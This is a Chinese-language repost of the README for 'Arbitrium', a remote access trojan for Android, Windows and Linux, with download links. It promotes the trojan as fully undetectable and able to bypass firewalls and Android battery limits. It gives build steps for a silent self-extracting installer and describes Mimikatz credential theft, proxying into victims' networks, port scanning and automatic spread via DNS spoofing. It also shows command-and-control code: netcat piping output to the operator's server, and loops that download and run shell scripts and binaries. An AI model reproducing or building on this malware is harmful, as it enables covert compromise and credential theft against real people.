Arbitrium跨平台无法检测的木马|无需防火墙及端口转发规则

Arbitrium跨平台无法检测的木马|无需防火墙及端口转发规则

Arbitrium介绍:

Arbitrium是一个跨平台的,完全不可检测的远程访问木马(RAT),它允许您控制Android,Windows和Linux,并且不需要任何防火墙例外或端口转发。它提供对本地网络的访问,您可以将目标用作HTTP代理并访问路由器,发现本地IP并扫描其端口。包括Mimikatz等模块,可以轻松添加新模块。另外,如果Arbitrium与DNS欺骗一起使用,则可以在设备之间自动传播欺骗软件(#AutoSpread)。Arbitrium是一个包含多个部分的项目,这些部分使用Java,JS,C,Python,Cordova和VueJS构建。

演示视频[扶墙]

youtu.be/7KlPPND2b0g

特征:

  •  FUD

客户端使用简单的工具使其完全无法检测到,基于netcat的木马主要通过管道TCP paquet来运行服务器的命令

  •  防火墙功能

Arbitrium不需要向防火墙添加例外或端口转发规则。服务器是具有端点的API,该端点接收特定目标的任务,而木马会定期请求其他任务以获取新指令,这些指令可以是JavaScript文件(Android应用程序是使用Cordova制作的)或Shell文件以在其中运行终端/ CMD。服务器收到设备的任务后,前者安排任务,然后打开子进程,在其中通过侦听专用的临时端口来等待木马的响应。因此,该木马不需要监听任何端口

  •  电池优化/ StealthMode

与Stock Android不同,小米的MIUI,华为的EMUI或三星的Android Pie之类的自定义项都忽略了用户赋予应用程序的权限/例外。因此,如果您尝试在后台运行Android的木马,则应用开始运行频繁或繁重(在某些情况下甚至是轻量级)任务(例如:定期发送http请求)的那一刻,无论用户授予什么权限,它都会被杀死,该操作系统完全忽略了当前设置,dontkillmyapp.com是致力于此特定问题的已知网站

前面提到的问题在进行该项目时非常烦人,一段时间后,我发现构建轻量级二进制文件可以在后台继续运行分配的任务,而MainActivity在启动二进制豌豆之后就静止不动,从而绕过大多数限制,甚至可以改善应用程序的性能。

MainActivity从服务器接收一个JS文件,并用于ThreadPoolExecutor初始化二进制文件而不会挂起使其退出(有关此StealthMode / BatteryBypass的更多信息)。

  •  网页界面

还有一个控制面板,它不是必需的,而是扩展,它是一个简单的VueJS webapp,可用于控制目标而不是直接向API发送请求的UI。该Web应用程序可从此处获得:Arbitrium WebApp

前提条件

  1. Android的客户端
Java ver ...
Cordova
Android SDK & NDK
  1. Windows / Linux客户端
Python3.6 (或更新的版本)
PyInquirer
Winrar (Windows only)

build

⚠️setAPI_FQDN.sh首先使用在所有文件中设置服务器域/ IP

克隆:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive
  1. 安卓
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

里面的二进制文件/libs被剥离,因此如果您不调试,建议使用它们。

  1. Windows
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe 

组件

  1. 服务器API

⚠️应该将为Android构建的二进制文件放入其中/assets(将其重命名为binary_{cpuabi}),然后APK将下载它们,但是如果您希望将它们放入APK中,只需确保将其提取到App data文件夹中/data/data/package_name或在其中创建符号链接即可window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7
	├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

终端

⚠️API的响应可能会有所不同,具体取决于运行木马的设备平台。下一部分主要探讨Android的情况,因为由于操作系统的限制,它是最复杂的。

  • [GET] /checkupdate.js

当客户端向端点发送其第一个请求时/checkupdate.js,服务器将创建一个genShell对象,该对象为该设备设置唯一的本地端口self.lport = self.setPort()以及self.threaduid = random.randint除其他属性外的线程ID 。然后返回适当的JavaScript代码(取决于CPU / ABI),其中包含用于下载,chmod和执行(主线程或poolexec)某些资源的指令。对于以下请求,它返回一个JS代码,如果有的话,它将执行挂起的任务。

runCMD是一种genShell写shell脚本的方法,我们希望木马运行到其中的文件中,/assets以便客户端稍后下载,然后使用netcat侦听响应并将其通过管道传递到内部/threads

示例:假设您要将目标用作HTTP代理,API将请求制定为以下cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

然后将其保存到中assets/runsh_{uid_task}.sh,然后根据请求是否来自StealthMode / BatteryBypass来/checkupdate.js获取木马程序以下载shell文件并运行它。

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [GET] / addtask

管理员使用适当的令牌可以使设备通过此端点运行命令,服务器会将此命令描述为待处理,这将影响/checkupdate.js对该设备的下一个响应。然后,它将为此任务返回一个随机生成的ID。

  • [GET] / pingtask

由生成的任务ID/addtask和前面提到的线程ID的组合threaduid使文件的名称成为/threads保存命令输出的位置。请求此端点后,它将检查是否/threads/{threaduid}x{taskid}存在,如果存在,则服务器返回文件的内容,否则返回0。

  • [GET] / runproxy和/ pushproxy

这将reverse_http.py在单独的屏幕中运行,然后返回IP:PORT(HTTP代理),这将允许管理员通过特洛伊木马设备透视HTTP请求。例如,如果管理员在浏览器设置中设置了这些信息并尝试打开路由器端口(Ex:)http://192.16...,则浏览器将打开路由器Web界面,就好像管理员是目标LAN的一部分一样。

  1. 客户端/特洛伊木马程序(Android:该应用程序是使用Cordova构建的,以简化操作并支持跨平台开发。这个应用程式中继了两个主要部分
  1. netbolt-orange-plugin:这是我制作的cordova插件,它包含一些我们可以调用的功能,index.html通过下载的脚本/checkupdate.js主要使用这些方法来运行分配的任务  
  2. exec():执行shell cmd然后返回cmd输出,它在UI线程上运行  
  3. poolexec():与’exec()’相同,但是它使用,ThreadPoolExecutor因此App可以在不阻塞主线程的情况下运行cmd,当输出准备就绪时,它将通过具有退出状态的回调发送  
  4. download():用于下载API或管理员可能想要或需要执行任务的任何资源

示例:该木马在第一次请求时/checkupdate.js,假设这是一部Android手机,并且我们想启动StealthMode / BatteryBypass以避免被杀死(电池优化…),然后API响应如下:

function sfunc1(){
    window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
        sfunc2(...);
    });
}
function sfunc2(...){
    window.MyOrangePlugin.exec("chmod ... ", function(res){
    	sfunc3(...);
    });
}
function sfunc3(...){
    window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
    	...
    });
}

该应用程序还使用了稍微定制版本的Cordova背景模式插件。

  1. StealthMode:  
  2. runFrame.c:这是一个简单的C程序,它每隔几秒钟通过套接字向API发送HTTP请求,将响应保存到shell文件中,然后进行系统调用以运行它。 
  3.   + toolbox.c:这是一个独立的netcat

生成的二进制文件是静态链接的,以确保稳定性和路径独立性。使用runFrame而不是仅在index.html中运行JS循环的重要性不仅止于前面解释的Battery问题,而且还出于性能原因。具有此模式的应用程序使用更少的资源,并且更可靠。

默认情况下,请求的频率设置为5s,但是可以通过API进行操作(因此,当管理员控制设备时,如果runFrame没有计划的cmd,服务器会自动降低sleep 30响应速度)。或将其用作代理,许多任务将是时间表,并且每个任务之间的延迟不会很明显,否则我们不希望客户端不断发送频繁的请求,这会使其变得明显且占用资源。

⚠️API会从User-Agent:JustKidding识别请求是否来自此模式,因此响应/checkupdate.js是兼容的。同样,仅在电话连接到Wlan时才发出HTTP请求,其主要原因有两个,第一个是操作系统将停止的数据移动消耗,第二个是自动扩展功能(#AutoSpread)

// void bzero(void *s, size_t n);
#define bzero(s, n) memset((s), 0, (n))
...
strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
char *routing = "ip route | grep wlan";
...
while (1){
	routingSTAT = system(routing);
	// grep exit status will only equal 0 if a wlan interface was listed
	if (routingSTAT==0){
		fd = socket_connect(argv[1], atoi(argv[2])); 
		write(fd, reque, strlen(reque));
		bzero(buffer, BUFFER_SIZE);
		...
		}

客户端/特洛伊木马(Windows / Linux:与android不同,简单的python脚本即可。此外,Windows版本配备了VBA脚本和SFX,可以制作无提示的自动安装程序,该木马将只是一个独立的可执行文件,在%TEMP%中提取其内容后将在后台运行。

屏幕截图

  1. HTTP代理:

2.电源shell

3.端口扫描器:

下载地址

①GitHub: github.com/BenChaliah.zip
②雨苁网盘:w.ddosi.workers.dev/
解压密码: www.ddosi.com